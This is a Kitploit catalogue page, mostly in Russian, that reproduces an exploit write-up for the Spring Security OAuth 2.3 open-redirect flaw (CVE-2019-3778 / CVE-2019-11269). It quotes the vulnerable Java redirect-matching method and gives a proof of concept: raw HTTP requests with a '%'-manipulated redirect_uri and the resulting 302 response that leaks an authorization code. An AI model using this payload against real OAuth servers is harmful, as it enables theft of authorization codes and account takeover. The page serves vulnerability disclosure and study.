Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2019-3778-Spring-Security-OAuth-2.3-Open-Redirection — Spring Security OAuth 2.3 Open Redirection: анализ и воспроизведение | Kitploit
Инструменты/GitHubGitHub/bbb-man/cve-2019-3778-spring-security-oauth-2.3-open-redirection
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеСтатьи и ИсследованияОбучение и Образование
GitHubbbb-man/cve-2019-3778-spring-security-oauth-2.3-open-redirection

CVE-2019-3778-Spring-Security-OAuth-2.3-Open-Redirection

Spring Security OAuth 2.3 Open Redirection: анализ и воспроизведение

Репозиторий
16 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2019-3778-Spring-Security-OAuth-2.3-Open-Redirection

Spring Security OAuth 2.3 Open Redirection 分析复现篇

Exploit Title: Open Redirector in spring-security-oauth2

Date: 17 June 2019

Exploit Author: Riemann

Vendor Homepage: https://spring.io/projects/spring-security-oauth

Software Link: https://spring.io

Version: Spring Security OAuth versions 2.3 prior to 2.3.6 -org.springframework.security.oauth:spring-security-oauth2:2.3.3.RELEASE

Tested on: UBUNTU 16.04 LTS -org.springframework.security.oauth:spring-security-oauth2:2.3.3.RELEASE

CVE : CVE-2019-11269 | CVE-2019-3778

Описание

Версии Spring Security OAuth 2.3 до 2.3.6, 2.2 до 2.2.5, 2.1 до 2.1.5 и 2.0 до 2.0.18, а также более старые неподдерживаемые версии могут быть подвержены атаке открытого перенаправления, которая может привести к утечке кода авторизации. Злоумышленник может создать запрос к конечной точке авторизации, используя тип предоставления кода авторизации, и указать манипулируемый URI перенаправления через параметр redirect_uri. Это может заставить сервер авторизации перенаправить пользовательский агент владельца ресурса на URI под контролем злоумышленника с утекшим кодом авторизации.

УЯЗВИМОСТЬ:

Манипулируя параметром REDIRECT_URI, злоумышленник может обойти проверку.

Код, вызывающий уязвимость, находится в пакете org.springframework.security.oauth2.provider.endpoint. Класс: DefaultRedirectResolver, метод obtainMatchingRedirect не выполняет надлежащую очистку.

/** * Attempt to match one of the registered URIs to the that of the requested one. * * @param redirectUris the set of the registered URIs to try and find a match. This cannot be null or empty. * @param requestedRedirect the URI used as part of the request * @return the matching URI * @throws RedirectMismatchException if no match was found */ private String obtainMatchingRedirect(Set redirectUris, String requestedRedirect) { Assert.notEmpty(redirectUris, "Redirect URIs cannot be empty");

root@kitploit:~
	if (redirectUris.size() == 1 && requestedRedirect == null) {
		return redirectUris.iterator().next();
	}
	for (String redirectUri : redirectUris) {
		if (requestedRedirect != null && redirectMatches(requestedRedirect, redirectUri)) {
			return requestedRedirect;
		}
	}
	throw new RedirectMismatchException("Invalid redirect: " + requestedRedirect
			+ " does not match one of the registered values: " + redirectUris.toString());
}

ВЕКТОР АТАКИ (POC)

Следующий запрос, отправленный КЛИЕНТСКИМ ПРИЛОЖЕНИЕМ после входа пользователя, содержит параметр REDIRECT_URI. Проверка обходится простым добавлением знака процента, что вызывает перенаправление вместо ошибки RedirectMismatchException.

ОРИГИНАЛЬНЫЙ ЗАПРОС, содержащий корректный URI: GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://localhost:8086/login/oauth2/code/ HTTP/1.1

Злоумышленник обманывает приложение, полностью изменяя URI на другой сервер и добавляя, например, знак процента:

GET /auth/oauth/authorize?response_type=code&client_id=R2dpxQ3vPrtfgF72&scope=user_info&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D&redirect_uri=http://%localhost:9000/login/oauth2/code/ HTTP/1.1 Host: localhost:8085 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost:8085/auth/login Connection: close Cookie: JSESSIONID=3394FD89204BE407CB585881755C0828; JSESSIONID=C0F1D5A2F1944DCB43F2BFFA416B7A63 Upgrade-Insecure-Requests: 1

ОТВЕТ действительно не вызывает ожидаемой ошибки OAuth, а перенаправляет пользователя:

HTTP/1.1 302 Cache-Control: no-store X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Location: http://localhost:8086/login/oauth2/code/?code=4ecsea&state=HPRbfRgJLWdmLMi9KXeLJDesMLfPC3vZ0viEkeIvGuQ%3D Content-Language: en-US Content-Length: 0 Date: Mon, 17 Jun 2019 11:06:18 GMT Connection: close

Скачать инструмент